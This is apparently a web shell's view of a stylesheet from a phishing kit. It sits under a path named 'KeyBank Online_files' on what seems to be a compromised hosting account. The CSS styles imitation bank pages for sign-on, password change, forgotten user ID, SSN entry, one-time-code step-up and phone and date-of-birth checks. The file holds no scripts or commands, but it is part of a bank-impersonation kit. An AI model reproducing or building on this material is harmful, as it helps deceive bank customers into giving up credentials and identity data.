%PDF- %PDF-
Direktori : /home/nailstv/public_html/notapproved-usrKEY/1d4b37fa199ec766587ac4e2cde59c69/ibxkey/KeyBank Online_files/ |
Current File : /home/nailstv/public_html/notapproved-usrKEY/1d4b37fa199ec766587ac4e2cde59c69/ibxkey/KeyBank Online_files/styles-key.css |
body { margin: 0; min-height: 100%; font: 16px HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif; } .app-container { margin-top: 90px; color: #666; } .app-header { background-color: #c00; height: 50px; position: fixed; top: 0; width: 100%; left: 0; z-index: 1051; } .app-header .key-logo { float: left; margin: 0; overflow: hidden; } .app-header .key-logo icon { font-size: 140px; margin-left: 15px; color: #fff; height: 50px; vertical-align: top; line-height: 35px; } .app-header .navbar .navlink-wrapper li { line-height: 30px; list-style: none; float: left; } .app-header .navbar .navlink-wrapper li a { color: #fff; text-decoration: none; padding: 10px; } .app-header .navbar .navbar-toggler { border: none; } .app-header .navbar .navbar-toggler .navbar-toggler-icon { color: #fff; font-size: 1.25rem; } .mars-signon_header-viewportcoverspace { padding-top: 35px; } .mars-signon_header-viewportcoverspace:after { margin-top: 35px; } .mars-signon_footer-viewportcoverspace { padding-bottom: 20px; } .cool-loader-container { position: fixed; left: 0; right: 0; margin: auto; top: 40%; z-index: 9999; display: block; } .cool-loader-container.hide { display: none; } .cool-loader-container .spinner-large { margin: 0 auto; display: block; -webkit-animation: 8s linear infinite svg-rotate-lg; animation: 8s linear infinite svg-rotate-lg; } .cool-loader-container .spinner-large-circle { fill: transparent; stroke: #c00 !important; stroke-width: 4; stroke-linecap: round; stroke-dasharray: 0, 144.51326207; -webkit-animation: 2s linear infinite stroke-dash-lg, 2s linear infinite stroke-width-lg, 8s steps(4) infinite stroke-color-lg; animation: 2s linear infinite stroke-dash-lg, 2s linear infinite stroke-width-lg, 8s steps(4) infinite stroke-color-lg; } @-webkit-keyframes svg-rotate-lg { to { transform: rotate(360deg); } } @keyframes svg-rotate-lg { to { transform: rotate(360deg); } } @-webkit-keyframes stroke-width-lg { 0%, 100% { stroke-width: 0; } 45%, 55% { stroke-width: 2; } 50% { stroke-width: 4; } } @keyframes stroke-width-lg { 0%, 100% { stroke-width: 0; } 45%, 55% { stroke-width: 2; } 50% { stroke-width: 4; } } @-webkit-keyframes stroke-dash-lg { 0% { stroke-dasharray: 0, 144.51326207; stroke-dashoffset: 0; } 50% { stroke-dasharray: 144.51326207, 0; stroke-dashoffset: 0; } 100% { stroke-dasharray: 144.51326207, 144.51326207; stroke-dashoffset: -144.51326207; } } @keyframes stroke-dash-lg { 0% { stroke-dasharray: 0, 144.51326207; stroke-dashoffset: 0; } 50% { stroke-dasharray: 144.51326207, 0; stroke-dashoffset: 0; } 100% { stroke-dasharray: 144.51326207, 144.51326207; stroke-dashoffset: -144.51326207; } } @-webkit-keyframes stroke-color-lg { from { stroke: rgba(204, 0, 0, 0.6); } to { stroke: #c00; } } @keyframes stroke-color-lg { from { stroke: rgba(204, 0, 0, 0.6); } to { stroke: #c00; } } .loading-overlay { background-color: rgba(0, 0, 0, 0); z-index: 9999; position: absolute; left: 0; top: 0; width: 100%; height: 100%; } .loading-overlay.show { display: block; } .loading-overlay.hide { display: none; } .app-build-info { position: fixed; padding: 0.5rem; font-size: 0.75rem; color: #101010; left: 5px; bottom: -2px; } .password-auth-container { border: 1px solid #cdcdcd; max-width: 500px; margin: 0 auto; } .password-auth-container .password-auth-header { background-color: #f5f5f5; padding: 10px 20px 5px; border-bottom: 1px solid #cdcdcd; } .password-auth-container .password-auth-wrapper { background-color: #fafafa; padding: 20px; } .password-auth-container .password-auth-wrapper .password-auth-btn-right { margin-right: 0.5rem; } .changepwd-container { border: 1px solid #cdcdcd; max-width: 580px; } .changepwd-container .changepwd-header { background-color: #f5f5f5; padding: 10px 20px 5px; border-bottom: 1px solid #cdcdcd; } .changepwd-container .changepwd-wrapper { background-color: #fafafa; padding: 20px; } .changepwd-container .newpwd-require-block { margin-top: 20px; } @media (max-width: 649px) { .changepwd-container .newpwd-require-block { margin-top: 3rem; } } .changepwd-container .newpwd-require-block ul { padding-left: 0; } .changepwd-container .newpwd-require-block ul li { margin: 0 0 2px 15px; } .changepwd-container .newpwd-require-block ul .pwd-tick { list-style: none; margin: 0; } .changepwd-container .newpwd-require-block .pwd-validation-tick-icon { fill: #45825c; } .changepwd-container .changepwd-showtxt { display: inline; } .forgotuid-container { border: 1px solid #cdcdcd; max-width: 720px; } .forgotuid-container .forgotuid-header { background-color: #f5f5f5; padding: 10px 20px 5px; border-bottom: 1px solid #cdcdcd; } .forgotuid-container .forgotuid-wrapper { background-color: #fafafa; padding: 20px; } .forgotuid-container .forgot-method-select-block { padding-top: 2rem; } .forgotuid-container .forgotuid-button-block { margin-top: 2rem; text-align: right; } .forgotuid-container .ssn-input:invalid { box-shadow: none; } .forgotuid-container .ssn-input:focus { box-shadow: 0 0 0 0.125rem #2297bf !important; } .forgots-container .confirmation-container { color: #333; text-align: center; } .forgots-container .confirmation-container .forgot-account-select-block { padding-top: 2rem; } .forgots-container .confirmation-container h3 { font-size: 1.5rem; font-weight: 400; } .forgot-unlock-container { border: 1px solid #cdcdcd; padding: 1.5rem; color: #333; } .forgot-unlock-container .forgot-button-block { margin-top: 18px; } .timeout { width: 100%; position: fixed; top: 0; background: #0175a7; z-index: 9999; } .timeout .container { background: #0175a7; padding: 40px 15px; color: #fff; } .timeout .container button { margin-right: 10px; } .timeout .container .timeout-count { margin-top: 18px; font-size: 3rem; text-align: center; } .timeout .container .timeout-count span { text-align: center; line-height: 0.5; font-size: 16px; display: block; } .timeout-blur-bg { background-color: rgba(26, 26, 26, 0.6); position: fixed; background-clip: border-box; width: 100%; height: 100%; z-index: 1051; } .stepup-container { border: 1px solid #cdcdcd; max-width: 500px; margin: 0 auto; color: #666; } .stepup-container .stepup-header { background-color: #f5f5f5; padding: 10px 20px 5px; border-bottom: 1px solid #cdcdcd; } @media (max-width: 649px) { .stepup-container .stepup-header { padding-left: 6px; padding-right: 6px; } } .stepup-container .stepup-header a { display: inline-block; } .stepup-container .stepup-header svg { fill: #0175a7; float: left; } .stepup-container .stepup-header span { float: left; padding-top: 6px; } .stepup-container .stepup-wrapper { background-color: #fafafa; padding: 20px; } .stepup-container .stepup-wrapper .stepup-btn-right { margin-right: 0.5rem; } .stepup-container .stepup-wrapper .stepup-otp-options h5 { padding: 8px 0 4px; font-size: 1rem; font-weight: 500; } .stepup-container .stepup-wrapper .stepup-otp-options h5 .stepup-otpoption-value { display: block; } .stepup-container .stepup-wrapper .alloption-callcenter-lbl { margin-top: 1.5rem; } .stepup-container .stepup-wrapper .alloption-callcenter-lbl a { display: inline; } .stepup-container .stepup-wrapper .alloption-border-bottom { border-bottom: 1px solid #b2b2b2; padding-top: 1rem; margin-bottom: 1rem; } .prospectcreate-container { border: none; max-width: 580px; } .prospectcreate-container .prospectcreate-header { padding: 10px 20px 5px; } .prospectcreate-container .prospectcreate-sub-header { padding: 10px 10px 20px; } .prospectcreate-container .prospectcreate-wrapper { padding: 20px; } .prospectcreate-container .newpwd-require-block ul { padding-left: 0; } .prospectcreate-container .newpwd-require-block ul li { font-size: 0.75em; margin: 0 0 2px 15px; } .prospectcreate-container .newpwd-require-block ul .pwd-tick { list-style: none; margin: 0; } .prospectcreate-container .newpwd-require-block .pwd-validation-tick-icon { fill: #45825c; } .prospectcreate-container .prospectcreate-showtxt { display: block; padding: 10px 10px 20px; } .prospectcreate-container .prospectcreate-disclosure { font-size: 0.75em; } .phone-dob-auth-container { max-width: 500px; margin: 0 auto; } .phone-dob-auth-container .phone-dob-auth-header { padding: 15px 20px 5px; } @media (max-width: 649px) { .stepup-container .stepup-wrapper .stepup-otp-options h5 { font-size: 0.875rem; } .stepup-container .stepup-wrapper .alloption-callcenter-lbl a { display: inline-block; } .prospectcreate-container .newpwd-require-block { margin-top: 1rem; } .phone-dob-auth-container .phone-dob-auth-header { padding-left: 6px; padding-right: 6px; } } .phone-dob-auth-container .phone-dob-auth-header a { display: inline-block; } .phone-dob-auth-container .phone-dob-auth-header svg { fill: #0175a7; float: left; } .phone-dob-auth-container .phone-dob-auth-header span { float: left; padding-top: 6px; } .phone-dob-auth-container .phone-dob-auth-wrapper { padding: 20px; } @media (max-width: 649px) { .phone-dob-auth-container .phone-dob-auth-wrapper { padding: 20px 10px; } } .phone-dob-auth-container .phone-dob-auth-wrapper .phone-dob-auth-btn-right { margin-right: 0.5rem; } .phone-dob-auth-container .phone-dob-auth-wrapper h5 { padding-top: 8px; } .auth-register-container { border: 1px solid #cdcdcd; max-width: 720px; } .auth-register-container .auth-register-header { background-color: #f5f5f5; padding: 10px 20px 5px; border-bottom: 1px solid #cdcdcd; } .auth-register-container .auth-register-wrapper { background-color: #fafafa; padding: 20px; } .auth-register-container .auth-register-method-select-block { padding-top: 2rem; } .auth-register-container .auth-register-userid-input { width: 100%; }